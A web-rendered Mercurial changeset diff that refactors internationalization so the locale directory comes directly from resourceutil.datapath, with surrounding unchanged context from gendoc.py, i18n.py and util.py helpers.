##// END OF EJS Templates
i18n: get datapath directly from resourceutil...
Martin von Zweigbergk -
r44069:f0bee3b1 default
parent child Browse files
Show More
@@ -1,334 +1,330 b''
1 1 #!/usr/bin/env python
2 2 """usage: %s DOC ...
3 3
4 4 where DOC is the name of a document
5 5 """
6 6
7 7 from __future__ import absolute_import
8 8
9 9 import os
10 10 import sys
11 11 import textwrap
12 12
13 13 try:
14 14 import msvcrt
15 15
16 16 msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)
17 17 msvcrt.setmode(sys.stderr.fileno(), os.O_BINARY)
18 18 except ImportError:
19 19 pass
20 20
21 21 # This script is executed during installs and may not have C extensions
22 22 # available. Relax C module requirements.
23 23 os.environ['HGMODULEPOLICY'] = 'allow'
24 24 # import from the live mercurial repo
25 25 sys.path.insert(0, "..")
26 26 from mercurial import demandimport
27 27
28 28 demandimport.enable()
29 # Load util so that the locale path is set by i18n.setdatapath() before
30 # calling _().
31 from mercurial import util
32 29
33 util.datapath
34 30 from mercurial import (
35 31 commands,
36 32 encoding,
37 33 extensions,
38 34 help,
39 35 minirst,
40 36 pycompat,
41 37 ui as uimod,
42 38 )
43 39 from mercurial.i18n import (
44 40 gettext,
45 41 _,
46 42 )
47 43
48 44 table = commands.table
49 45 globalopts = commands.globalopts
50 46 helptable = help.helptable
51 47 loaddoc = help.loaddoc
52 48
53 49
54 50 def get_desc(docstr):
55 51 if not docstr:
56 52 return b"", b""
57 53 # sanitize
58 54 docstr = docstr.strip(b"\n")
59 55 docstr = docstr.rstrip()
60 56 shortdesc = docstr.splitlines()[0].strip()
61 57
62 58 i = docstr.find(b"\n")
63 59 if i != -1:
64 60 desc = docstr[i + 2 :]
65 61 else:
66 62 desc = shortdesc
67 63
68 64 desc = textwrap.dedent(desc.decode('latin1')).encode('latin1')
69 65
70 66 return (shortdesc, desc)
71 67
72 68
73 69 def get_opts(opts):
74 70 for opt in opts:
75 71 if len(opt) == 5:
76 72 shortopt, longopt, default, desc, optlabel = opt
77 73 else:
78 74 shortopt, longopt, default, desc = opt
79 75 optlabel = _(b"VALUE")
80 76 allopts = []
81 77 if shortopt:
82 78 allopts.append(b"-%s" % shortopt)
83 79 if longopt:
84 80 allopts.append(b"--%s" % longopt)
85 81 if isinstance(default, list):
86 82 allopts[-1] += b" <%s[+]>" % optlabel
87 83 elif (default is not None) and not isinstance(default, bool):
88 84 allopts[-1] += b" <%s>" % optlabel
89 85 if b'\n' in desc:
90 86 # only remove line breaks and indentation
91 87 desc = b' '.join(l.lstrip() for l in desc.split(b'\n'))
92 88 desc += default and _(b" (default: %s)") % bytes(default) or b""
93 89 yield (b", ".join(allopts), desc)
94 90
95 91
96 92 def get_cmd(cmd, cmdtable):
97 93 d = {}
98 94 attr = cmdtable[cmd]
99 95 cmds = cmd.lstrip(b"^").split(b"|")
100 96
101 97 d[b'cmd'] = cmds[0]
102 98 d[b'aliases'] = cmd.split(b"|")[1:]
103 99 d[b'desc'] = get_desc(gettext(pycompat.getdoc(attr[0])))
104 100 d[b'opts'] = list(get_opts(attr[1]))
105 101
106 102 s = b'hg ' + cmds[0]
107 103 if len(attr) > 2:
108 104 if not attr[2].startswith(b'hg'):
109 105 s += b' ' + attr[2]
110 106 else:
111 107 s = attr[2]
112 108 d[b'synopsis'] = s.strip()
113 109
114 110 return d
115 111
116 112
117 113 def showdoc(ui):
118 114 # print options
119 115 ui.write(minirst.section(_(b"Options")))
120 116 multioccur = False
121 117 for optstr, desc in get_opts(globalopts):
122 118 ui.write(b"%s\n %s\n\n" % (optstr, desc))
123 119 if optstr.endswith(b"[+]>"):
124 120 multioccur = True
125 121 if multioccur:
126 122 ui.write(_(b"\n[+] marked option can be specified multiple times\n"))
127 123 ui.write(b"\n")
128 124
129 125 # print cmds
130 126 ui.write(minirst.section(_(b"Commands")))
131 127 commandprinter(ui, table, minirst.subsection, minirst.subsubsection)
132 128
133 129 # print help topics
134 130 # The config help topic is included in the hgrc.5 man page.
135 131 helpprinter(ui, helptable, minirst.section, exclude=[b'config'])
136 132
137 133 ui.write(minirst.section(_(b"Extensions")))
138 134 ui.write(
139 135 _(
140 136 b"This section contains help for extensions that are "
141 137 b"distributed together with Mercurial. Help for other "
142 138 b"extensions is available in the help system."
143 139 )
144 140 )
145 141 ui.write(
146 142 (
147 143 b"\n\n"
148 144 b".. contents::\n"
149 145 b" :class: htmlonly\n"
150 146 b" :local:\n"
151 147 b" :depth: 1\n\n"
152 148 )
153 149 )
154 150
155 151 for extensionname in sorted(allextensionnames()):
156 152 mod = extensions.load(ui, extensionname, None)
157 153 ui.write(minirst.subsection(extensionname))
158 154 ui.write(b"%s\n\n" % gettext(pycompat.getdoc(mod)))
159 155 cmdtable = getattr(mod, 'cmdtable', None)
160 156 if cmdtable:
161 157 ui.write(minirst.subsubsection(_(b'Commands')))
162 158 commandprinter(
163 159 ui,
164 160 cmdtable,
165 161 minirst.subsubsubsection,
166 162 minirst.subsubsubsubsection,
167 163 )
168 164
169 165
170 166 def showtopic(ui, topic):
171 167 extrahelptable = [
172 168 ([b"common"], b'', loaddoc(b'common'), help.TOPIC_CATEGORY_MISC),
173 169 ([b"hg.1"], b'', loaddoc(b'hg.1'), help.TOPIC_CATEGORY_CONFIG),
174 170 ([b"hg-ssh.8"], b'', loaddoc(b'hg-ssh.8'), help.TOPIC_CATEGORY_CONFIG),
175 171 (
176 172 [b"hgignore.5"],
177 173 b'',
178 174 loaddoc(b'hgignore.5'),
179 175 help.TOPIC_CATEGORY_CONFIG,
180 176 ),
181 177 ([b"hgrc.5"], b'', loaddoc(b'hgrc.5'), help.TOPIC_CATEGORY_CONFIG),
182 178 (
183 179 [b"hgignore.5.gendoc"],
184 180 b'',
185 181 loaddoc(b'hgignore'),
186 182 help.TOPIC_CATEGORY_CONFIG,
187 183 ),
188 184 (
189 185 [b"hgrc.5.gendoc"],
190 186 b'',
191 187 loaddoc(b'config'),
192 188 help.TOPIC_CATEGORY_CONFIG,
193 189 ),
194 190 ]
195 191 helpprinter(ui, helptable + extrahelptable, None, include=[topic])
196 192
197 193
198 194 def helpprinter(ui, helptable, sectionfunc, include=[], exclude=[]):
199 195 for h in helptable:
200 196 names, sec, doc = h[0:3]
201 197 if exclude and names[0] in exclude:
202 198 continue
203 199 if include and names[0] not in include:
204 200 continue
205 201 for name in names:
206 202 ui.write(b".. _%s:\n" % name)
207 203 ui.write(b"\n")
208 204 if sectionfunc:
209 205 ui.write(sectionfunc(sec))
210 206 if callable(doc):
211 207 doc = doc(ui)
212 208 ui.write(doc)
213 209 ui.write(b"\n")
214 210
215 211
216 212 def commandprinter(ui, cmdtable, sectionfunc, subsectionfunc):
217 213 """Render restructuredtext describing a list of commands and their
218 214 documentations, grouped by command category.
219 215
220 216 Args:
221 217 ui: UI object to write the output to
222 218 cmdtable: a dict that maps a string of the command name plus its aliases
223 219 (separated with pipes) to a 3-tuple of (the command's function, a list
224 220 of its option descriptions, and a string summarizing available
225 221 options). Example, with aliases added for demonstration purposes:
226 222
227 223 'phase|alias1|alias2': (
228 224 <function phase at 0x7f0816b05e60>,
229 225 [ ('p', 'public', False, 'set changeset phase to public'),
230 226 ...,
231 227 ('r', 'rev', [], 'target revision', 'REV')],
232 228 '[-p|-d|-s] [-f] [-r] [REV...]'
233 229 )
234 230 sectionfunc: minirst function to format command category headers
235 231 subsectionfunc: minirst function to format command headers
236 232 """
237 233 h = {}
238 234 for c, attr in cmdtable.items():
239 235 f = c.split(b"|")[0]
240 236 f = f.lstrip(b"^")
241 237 h[f] = c
242 238 cmds = h.keys()
243 239
244 240 def helpcategory(cmd):
245 241 """Given a canonical command name from `cmds` (above), retrieve its
246 242 help category. If helpcategory is None, default to CATEGORY_NONE.
247 243 """
248 244 fullname = h[cmd]
249 245 details = cmdtable[fullname]
250 246 helpcategory = details[0].helpcategory
251 247 return helpcategory or help.registrar.command.CATEGORY_NONE
252 248
253 249 cmdsbycategory = {category: [] for category in help.CATEGORY_ORDER}
254 250 for cmd in cmds:
255 251 # If a command category wasn't registered, the command won't get
256 252 # rendered below, so we raise an AssertionError.
257 253 if helpcategory(cmd) not in cmdsbycategory:
258 254 raise AssertionError(
259 255 "The following command did not register its (category) in "
260 256 "help.CATEGORY_ORDER: %s (%s)" % (cmd, helpcategory(cmd))
261 257 )
262 258 cmdsbycategory[helpcategory(cmd)].append(cmd)
263 259
264 260 # Print the help for each command. We present the commands grouped by
265 261 # category, and we use help.CATEGORY_ORDER as a guide for a helpful order
266 262 # in which to present the categories.
267 263 for category in help.CATEGORY_ORDER:
268 264 categorycmds = cmdsbycategory[category]
269 265 if not categorycmds:
270 266 # Skip empty categories
271 267 continue
272 268 # Print a section header for the category.
273 269 # For now, the category header is at the same level as the headers for
274 270 # the commands in the category; this is fixed in the next commit.
275 271 ui.write(sectionfunc(help.CATEGORY_NAMES[category]))
276 272 # Print each command in the category
277 273 for f in sorted(categorycmds):
278 274 if f.startswith(b"debug"):
279 275 continue
280 276 d = get_cmd(h[f], cmdtable)
281 277 ui.write(subsectionfunc(d[b'cmd']))
282 278 # short description
283 279 ui.write(d[b'desc'][0])
284 280 # synopsis
285 281 ui.write(b"::\n\n")
286 282 synopsislines = d[b'synopsis'].splitlines()
287 283 for line in synopsislines:
288 284 # some commands (such as rebase) have a multi-line
289 285 # synopsis
290 286 ui.write(b" %s\n" % line)
291 287 ui.write(b'\n')
292 288 # description
293 289 ui.write(b"%s\n\n" % d[b'desc'][1])
294 290 # options
295 291 opt_output = list(d[b'opts'])
296 292 if opt_output:
297 293 opts_len = max([len(line[0]) for line in opt_output])
298 294 ui.write(_(b"Options:\n\n"))
299 295 multioccur = False
300 296 for optstr, desc in opt_output:
301 297 if desc:
302 298 s = b"%-*s %s" % (opts_len, optstr, desc)
303 299 else:
304 300 s = optstr
305 301 ui.write(b"%s\n" % s)
306 302 if optstr.endswith(b"[+]>"):
307 303 multioccur = True
308 304 if multioccur:
309 305 ui.write(
310 306 _(
311 307 b"\n[+] marked option can be specified"
312 308 b" multiple times\n"
313 309 )
314 310 )
315 311 ui.write(b"\n")
316 312 # aliases
317 313 if d[b'aliases']:
318 314 ui.write(_(b" aliases: %s\n\n") % b" ".join(d[b'aliases']))
319 315
320 316
321 317 def allextensionnames():
322 318 return set(extensions.enabled().keys()) | set(extensions.disabled().keys())
323 319
324 320
325 321 if __name__ == "__main__":
326 322 doc = b'hg.1.gendoc'
327 323 if len(sys.argv) > 1:
328 324 doc = encoding.strtolocal(sys.argv[1])
329 325
330 326 ui = uimod.ui.load()
331 327 if doc == b'hg.1.gendoc':
332 328 showdoc(ui)
333 329 else:
334 330 showtopic(ui, encoding.strtolocal(sys.argv[1]))
@@ -1,118 +1,115 b''
1 1 # i18n.py - internationalization support for mercurial
2 2 #
3 3 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import gettext as gettextmod
11 11 import locale
12 12 import os
13 13 import sys
14 14
15 15 from .pycompat import getattr
16 from .utils import resourceutil
16 17 from . import (
17 18 encoding,
18 19 pycompat,
19 20 )
20 21
21 22 # modelled after templater.templatepath:
22 23 if getattr(sys, 'frozen', None) is not None:
23 24 module = pycompat.sysexecutable
24 25 else:
25 26 module = pycompat.fsencode(__file__)
26 27
27 28 _languages = None
28 29 if (
29 30 pycompat.iswindows
30 31 and b'LANGUAGE' not in encoding.environ
31 32 and b'LC_ALL' not in encoding.environ
32 33 and b'LC_MESSAGES' not in encoding.environ
33 34 and b'LANG' not in encoding.environ
34 35 ):
35 36 # Try to detect UI language by "User Interface Language Management" API
36 37 # if no locale variables are set. Note that locale.getdefaultlocale()
37 38 # uses GetLocaleInfo(), which may be different from UI language.
38 39 # (See http://msdn.microsoft.com/en-us/library/dd374098(v=VS.85).aspx )
39 40 try:
40 41 import ctypes
41 42
42 43 langid = ctypes.windll.kernel32.GetUserDefaultUILanguage()
43 44 _languages = [locale.windows_locale[langid]]
44 45 except (ImportError, AttributeError, KeyError):
45 46 # ctypes not found or unknown langid
46 47 pass
47 48
48 _ugettext = None
49 49
50
51 def setdatapath(datapath):
52 datapath = pycompat.fsdecode(datapath)
53 localedir = os.path.join(datapath, 'locale')
54 t = gettextmod.translation('hg', localedir, _languages, fallback=True)
55 global _ugettext
56 try:
57 _ugettext = t.ugettext
58 except AttributeError:
59 _ugettext = t.gettext
50 datapath = pycompat.fsdecode(resourceutil.datapath)
51 localedir = os.path.join(datapath, 'locale')
52 t = gettextmod.translation('hg', localedir, _languages, fallback=True)
53 try:
54 _ugettext = t.ugettext
55 except AttributeError:
56 _ugettext = t.gettext
60 57
61 58
62 59 _msgcache = {} # encoding: {message: translation}
63 60
64 61
65 62 def gettext(message):
66 63 """Translate message.
67 64
68 65 The message is looked up in the catalog to get a Unicode string,
69 66 which is encoded in the local encoding before being returned.
70 67
71 68 Important: message is restricted to characters in the encoding
72 69 given by sys.getdefaultencoding() which is most likely 'ascii'.
73 70 """
74 71 # If message is None, t.ugettext will return u'None' as the
75 72 # translation whereas our callers expect us to return None.
76 73 if message is None or not _ugettext:
77 74 return message
78 75
79 76 cache = _msgcache.setdefault(encoding.encoding, {})
80 77 if message not in cache:
81 78 if type(message) is pycompat.unicode:
82 79 # goofy unicode docstrings in test
83 80 paragraphs = message.split(u'\n\n')
84 81 else:
85 82 # should be ascii, but we have unicode docstrings in test, which
86 83 # are converted to utf-8 bytes on Python 3.
87 84 paragraphs = [p.decode("utf-8") for p in message.split(b'\n\n')]
88 85 # Be careful not to translate the empty string -- it holds the
89 86 # meta data of the .po file.
90 87 u = u'\n\n'.join([p and _ugettext(p) or u'' for p in paragraphs])
91 88 try:
92 89 # encoding.tolocal cannot be used since it will first try to
93 90 # decode the Unicode string. Calling u.decode(enc) really
94 91 # means u.encode(sys.getdefaultencoding()).decode(enc). Since
95 92 # the Python encoding defaults to 'ascii', this fails if the
96 93 # translated string use non-ASCII characters.
97 94 encodingstr = pycompat.sysstr(encoding.encoding)
98 95 cache[message] = u.encode(encodingstr, "replace")
99 96 except LookupError:
100 97 # An unknown encoding results in a LookupError.
101 98 cache[message] = message
102 99 return cache[message]
103 100
104 101
105 102 def _plain():
106 103 if (
107 104 b'HGPLAIN' not in encoding.environ
108 105 and b'HGPLAINEXCEPT' not in encoding.environ
109 106 ):
110 107 return False
111 108 exceptions = encoding.environ.get(b'HGPLAINEXCEPT', b'').strip().split(b',')
112 109 return b'i18n' not in exceptions
113 110
114 111
115 112 if _plain():
116 113 _ = lambda message: message
117 114 else:
118 115 _ = gettext
@@ -1,3596 +1,3595 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import collections
20 20 import contextlib
21 21 import errno
22 22 import gc
23 23 import hashlib
24 24 import itertools
25 25 import mmap
26 26 import os
27 27 import platform as pyplatform
28 28 import re as remod
29 29 import shutil
30 30 import socket
31 31 import stat
32 32 import sys
33 33 import time
34 34 import traceback
35 35 import warnings
36 36
37 37 from .thirdparty import attr
38 38 from .pycompat import (
39 39 delattr,
40 40 getattr,
41 41 open,
42 42 setattr,
43 43 )
44 44 from hgdemandimport import tracing
45 45 from . import (
46 46 encoding,
47 47 error,
48 48 i18n,
49 49 node as nodemod,
50 50 policy,
51 51 pycompat,
52 52 urllibcompat,
53 53 )
54 54 from .utils import (
55 55 compression,
56 56 procutil,
57 57 resourceutil,
58 58 stringutil,
59 59 )
60 60
61 61 base85 = policy.importmod('base85')
62 62 osutil = policy.importmod('osutil')
63 63
64 64 b85decode = base85.b85decode
65 65 b85encode = base85.b85encode
66 66
67 67 cookielib = pycompat.cookielib
68 68 httplib = pycompat.httplib
69 69 pickle = pycompat.pickle
70 70 safehasattr = pycompat.safehasattr
71 71 socketserver = pycompat.socketserver
72 72 bytesio = pycompat.bytesio
73 73 # TODO deprecate stringio name, as it is a lie on Python 3.
74 74 stringio = bytesio
75 75 xmlrpclib = pycompat.xmlrpclib
76 76
77 77 httpserver = urllibcompat.httpserver
78 78 urlerr = urllibcompat.urlerr
79 79 urlreq = urllibcompat.urlreq
80 80
81 81 # workaround for win32mbcs
82 82 _filenamebytestr = pycompat.bytestr
83 83
84 84 if pycompat.iswindows:
85 85 from . import windows as platform
86 86 else:
87 87 from . import posix as platform
88 88
89 89 _ = i18n._
90 90
91 91 bindunixsocket = platform.bindunixsocket
92 92 cachestat = platform.cachestat
93 93 checkexec = platform.checkexec
94 94 checklink = platform.checklink
95 95 copymode = platform.copymode
96 96 expandglobs = platform.expandglobs
97 97 getfsmountpoint = platform.getfsmountpoint
98 98 getfstype = platform.getfstype
99 99 groupmembers = platform.groupmembers
100 100 groupname = platform.groupname
101 101 isexec = platform.isexec
102 102 isowner = platform.isowner
103 103 listdir = osutil.listdir
104 104 localpath = platform.localpath
105 105 lookupreg = platform.lookupreg
106 106 makedir = platform.makedir
107 107 nlinks = platform.nlinks
108 108 normpath = platform.normpath
109 109 normcase = platform.normcase
110 110 normcasespec = platform.normcasespec
111 111 normcasefallback = platform.normcasefallback
112 112 openhardlinks = platform.openhardlinks
113 113 oslink = platform.oslink
114 114 parsepatchoutput = platform.parsepatchoutput
115 115 pconvert = platform.pconvert
116 116 poll = platform.poll
117 117 posixfile = platform.posixfile
118 118 readlink = platform.readlink
119 119 rename = platform.rename
120 120 removedirs = platform.removedirs
121 121 samedevice = platform.samedevice
122 122 samefile = platform.samefile
123 123 samestat = platform.samestat
124 124 setflags = platform.setflags
125 125 split = platform.split
126 126 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
127 127 statisexec = platform.statisexec
128 128 statislink = platform.statislink
129 129 umask = platform.umask
130 130 unlink = platform.unlink
131 131 username = platform.username
132 132
133 133 # small compat layer
134 134 compengines = compression.compengines
135 135 SERVERROLE = compression.SERVERROLE
136 136 CLIENTROLE = compression.CLIENTROLE
137 137
138 138 try:
139 139 recvfds = osutil.recvfds
140 140 except AttributeError:
141 141 pass
142 142
143 143 # Python compatibility
144 144
145 145 _notset = object()
146 146
147 147
148 148 def bitsfrom(container):
149 149 bits = 0
150 150 for bit in container:
151 151 bits |= bit
152 152 return bits
153 153
154 154
155 155 # python 2.6 still have deprecation warning enabled by default. We do not want
156 156 # to display anything to standard user so detect if we are running test and
157 157 # only use python deprecation warning in this case.
158 158 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
159 159 if _dowarn:
160 160 # explicitly unfilter our warning for python 2.7
161 161 #
162 162 # The option of setting PYTHONWARNINGS in the test runner was investigated.
163 163 # However, module name set through PYTHONWARNINGS was exactly matched, so
164 164 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
165 165 # makes the whole PYTHONWARNINGS thing useless for our usecase.
166 166 warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
167 167 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
168 168 warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
169 169 if _dowarn and pycompat.ispy3:
170 170 # silence warning emitted by passing user string to re.sub()
171 171 warnings.filterwarnings(
172 172 'ignore', 'bad escape', DeprecationWarning, 'mercurial'
173 173 )
174 174 warnings.filterwarnings(
175 175 'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
176 176 )
177 177 # TODO: reinvent imp.is_frozen()
178 178 warnings.filterwarnings(
179 179 'ignore',
180 180 'the imp module is deprecated',
181 181 DeprecationWarning,
182 182 'mercurial',
183 183 )
184 184
185 185
186 186 def nouideprecwarn(msg, version, stacklevel=1):
187 187 """Issue an python native deprecation warning
188 188
189 189 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
190 190 """
191 191 if _dowarn:
192 192 msg += (
193 193 b"\n(compatibility will be dropped after Mercurial-%s,"
194 194 b" update your code.)"
195 195 ) % version
196 196 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
197 197
198 198
199 199 DIGESTS = {
200 200 b'md5': hashlib.md5,
201 201 b'sha1': hashlib.sha1,
202 202 b'sha512': hashlib.sha512,
203 203 }
204 204 # List of digest types from strongest to weakest
205 205 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
206 206
207 207 for k in DIGESTS_BY_STRENGTH:
208 208 assert k in DIGESTS
209 209
210 210
211 211 class digester(object):
212 212 """helper to compute digests.
213 213
214 214 This helper can be used to compute one or more digests given their name.
215 215
216 216 >>> d = digester([b'md5', b'sha1'])
217 217 >>> d.update(b'foo')
218 218 >>> [k for k in sorted(d)]
219 219 ['md5', 'sha1']
220 220 >>> d[b'md5']
221 221 'acbd18db4cc2f85cedef654fccc4a4d8'
222 222 >>> d[b'sha1']
223 223 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
224 224 >>> digester.preferred([b'md5', b'sha1'])
225 225 'sha1'
226 226 """
227 227
228 228 def __init__(self, digests, s=b''):
229 229 self._hashes = {}
230 230 for k in digests:
231 231 if k not in DIGESTS:
232 232 raise error.Abort(_(b'unknown digest type: %s') % k)
233 233 self._hashes[k] = DIGESTS[k]()
234 234 if s:
235 235 self.update(s)
236 236
237 237 def update(self, data):
238 238 for h in self._hashes.values():
239 239 h.update(data)
240 240
241 241 def __getitem__(self, key):
242 242 if key not in DIGESTS:
243 243 raise error.Abort(_(b'unknown digest type: %s') % k)
244 244 return nodemod.hex(self._hashes[key].digest())
245 245
246 246 def __iter__(self):
247 247 return iter(self._hashes)
248 248
249 249 @staticmethod
250 250 def preferred(supported):
251 251 """returns the strongest digest type in both supported and DIGESTS."""
252 252
253 253 for k in DIGESTS_BY_STRENGTH:
254 254 if k in supported:
255 255 return k
256 256 return None
257 257
258 258
259 259 class digestchecker(object):
260 260 """file handle wrapper that additionally checks content against a given
261 261 size and digests.
262 262
263 263 d = digestchecker(fh, size, {'md5': '...'})
264 264
265 265 When multiple digests are given, all of them are validated.
266 266 """
267 267
268 268 def __init__(self, fh, size, digests):
269 269 self._fh = fh
270 270 self._size = size
271 271 self._got = 0
272 272 self._digests = dict(digests)
273 273 self._digester = digester(self._digests.keys())
274 274
275 275 def read(self, length=-1):
276 276 content = self._fh.read(length)
277 277 self._digester.update(content)
278 278 self._got += len(content)
279 279 return content
280 280
281 281 def validate(self):
282 282 if self._size != self._got:
283 283 raise error.Abort(
284 284 _(b'size mismatch: expected %d, got %d')
285 285 % (self._size, self._got)
286 286 )
287 287 for k, v in self._digests.items():
288 288 if v != self._digester[k]:
289 289 # i18n: first parameter is a digest name
290 290 raise error.Abort(
291 291 _(b'%s mismatch: expected %s, got %s')
292 292 % (k, v, self._digester[k])
293 293 )
294 294
295 295
296 296 try:
297 297 buffer = buffer
298 298 except NameError:
299 299
300 300 def buffer(sliceable, offset=0, length=None):
301 301 if length is not None:
302 302 return memoryview(sliceable)[offset : offset + length]
303 303 return memoryview(sliceable)[offset:]
304 304
305 305
306 306 _chunksize = 4096
307 307
308 308
309 309 class bufferedinputpipe(object):
310 310 """a manually buffered input pipe
311 311
312 312 Python will not let us use buffered IO and lazy reading with 'polling' at
313 313 the same time. We cannot probe the buffer state and select will not detect
314 314 that data are ready to read if they are already buffered.
315 315
316 316 This class let us work around that by implementing its own buffering
317 317 (allowing efficient readline) while offering a way to know if the buffer is
318 318 empty from the output (allowing collaboration of the buffer with polling).
319 319
320 320 This class lives in the 'util' module because it makes use of the 'os'
321 321 module from the python stdlib.
322 322 """
323 323
324 324 def __new__(cls, fh):
325 325 # If we receive a fileobjectproxy, we need to use a variation of this
326 326 # class that notifies observers about activity.
327 327 if isinstance(fh, fileobjectproxy):
328 328 cls = observedbufferedinputpipe
329 329
330 330 return super(bufferedinputpipe, cls).__new__(cls)
331 331
332 332 def __init__(self, input):
333 333 self._input = input
334 334 self._buffer = []
335 335 self._eof = False
336 336 self._lenbuf = 0
337 337
338 338 @property
339 339 def hasbuffer(self):
340 340 """True is any data is currently buffered
341 341
342 342 This will be used externally a pre-step for polling IO. If there is
343 343 already data then no polling should be set in place."""
344 344 return bool(self._buffer)
345 345
346 346 @property
347 347 def closed(self):
348 348 return self._input.closed
349 349
350 350 def fileno(self):
351 351 return self._input.fileno()
352 352
353 353 def close(self):
354 354 return self._input.close()
355 355
356 356 def read(self, size):
357 357 while (not self._eof) and (self._lenbuf < size):
358 358 self._fillbuffer()
359 359 return self._frombuffer(size)
360 360
361 361 def unbufferedread(self, size):
362 362 if not self._eof and self._lenbuf == 0:
363 363 self._fillbuffer(max(size, _chunksize))
364 364 return self._frombuffer(min(self._lenbuf, size))
365 365
366 366 def readline(self, *args, **kwargs):
367 367 if len(self._buffer) > 1:
368 368 # this should not happen because both read and readline end with a
369 369 # _frombuffer call that collapse it.
370 370 self._buffer = [b''.join(self._buffer)]
371 371 self._lenbuf = len(self._buffer[0])
372 372 lfi = -1
373 373 if self._buffer:
374 374 lfi = self._buffer[-1].find(b'\n')
375 375 while (not self._eof) and lfi < 0:
376 376 self._fillbuffer()
377 377 if self._buffer:
378 378 lfi = self._buffer[-1].find(b'\n')
379 379 size = lfi + 1
380 380 if lfi < 0: # end of file
381 381 size = self._lenbuf
382 382 elif len(self._buffer) > 1:
383 383 # we need to take previous chunks into account
384 384 size += self._lenbuf - len(self._buffer[-1])
385 385 return self._frombuffer(size)
386 386
387 387 def _frombuffer(self, size):
388 388 """return at most 'size' data from the buffer
389 389
390 390 The data are removed from the buffer."""
391 391 if size == 0 or not self._buffer:
392 392 return b''
393 393 buf = self._buffer[0]
394 394 if len(self._buffer) > 1:
395 395 buf = b''.join(self._buffer)
396 396
397 397 data = buf[:size]
398 398 buf = buf[len(data) :]
399 399 if buf:
400 400 self._buffer = [buf]
401 401 self._lenbuf = len(buf)
402 402 else:
403 403 self._buffer = []
404 404 self._lenbuf = 0
405 405 return data
406 406
407 407 def _fillbuffer(self, size=_chunksize):
408 408 """read data to the buffer"""
409 409 data = os.read(self._input.fileno(), size)
410 410 if not data:
411 411 self._eof = True
412 412 else:
413 413 self._lenbuf += len(data)
414 414 self._buffer.append(data)
415 415
416 416 return data
417 417
418 418
419 419 def mmapread(fp):
420 420 try:
421 421 fd = getattr(fp, 'fileno', lambda: fp)()
422 422 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
423 423 except ValueError:
424 424 # Empty files cannot be mmapped, but mmapread should still work. Check
425 425 # if the file is empty, and if so, return an empty buffer.
426 426 if os.fstat(fd).st_size == 0:
427 427 return b''
428 428 raise
429 429
430 430
431 431 class fileobjectproxy(object):
432 432 """A proxy around file objects that tells a watcher when events occur.
433 433
434 434 This type is intended to only be used for testing purposes. Think hard
435 435 before using it in important code.
436 436 """
437 437
438 438 __slots__ = (
439 439 '_orig',
440 440 '_observer',
441 441 )
442 442
443 443 def __init__(self, fh, observer):
444 444 object.__setattr__(self, '_orig', fh)
445 445 object.__setattr__(self, '_observer', observer)
446 446
447 447 def __getattribute__(self, name):
448 448 ours = {
449 449 '_observer',
450 450 # IOBase
451 451 'close',
452 452 # closed if a property
453 453 'fileno',
454 454 'flush',
455 455 'isatty',
456 456 'readable',
457 457 'readline',
458 458 'readlines',
459 459 'seek',
460 460 'seekable',
461 461 'tell',
462 462 'truncate',
463 463 'writable',
464 464 'writelines',
465 465 # RawIOBase
466 466 'read',
467 467 'readall',
468 468 'readinto',
469 469 'write',
470 470 # BufferedIOBase
471 471 # raw is a property
472 472 'detach',
473 473 # read defined above
474 474 'read1',
475 475 # readinto defined above
476 476 # write defined above
477 477 }
478 478
479 479 # We only observe some methods.
480 480 if name in ours:
481 481 return object.__getattribute__(self, name)
482 482
483 483 return getattr(object.__getattribute__(self, '_orig'), name)
484 484
485 485 def __nonzero__(self):
486 486 return bool(object.__getattribute__(self, '_orig'))
487 487
488 488 __bool__ = __nonzero__
489 489
490 490 def __delattr__(self, name):
491 491 return delattr(object.__getattribute__(self, '_orig'), name)
492 492
493 493 def __setattr__(self, name, value):
494 494 return setattr(object.__getattribute__(self, '_orig'), name, value)
495 495
496 496 def __iter__(self):
497 497 return object.__getattribute__(self, '_orig').__iter__()
498 498
499 499 def _observedcall(self, name, *args, **kwargs):
500 500 # Call the original object.
501 501 orig = object.__getattribute__(self, '_orig')
502 502 res = getattr(orig, name)(*args, **kwargs)
503 503
504 504 # Call a method on the observer of the same name with arguments
505 505 # so it can react, log, etc.
506 506 observer = object.__getattribute__(self, '_observer')
507 507 fn = getattr(observer, name, None)
508 508 if fn:
509 509 fn(res, *args, **kwargs)
510 510
511 511 return res
512 512
513 513 def close(self, *args, **kwargs):
514 514 return object.__getattribute__(self, '_observedcall')(
515 515 'close', *args, **kwargs
516 516 )
517 517
518 518 def fileno(self, *args, **kwargs):
519 519 return object.__getattribute__(self, '_observedcall')(
520 520 'fileno', *args, **kwargs
521 521 )
522 522
523 523 def flush(self, *args, **kwargs):
524 524 return object.__getattribute__(self, '_observedcall')(
525 525 'flush', *args, **kwargs
526 526 )
527 527
528 528 def isatty(self, *args, **kwargs):
529 529 return object.__getattribute__(self, '_observedcall')(
530 530 'isatty', *args, **kwargs
531 531 )
532 532
533 533 def readable(self, *args, **kwargs):
534 534 return object.__getattribute__(self, '_observedcall')(
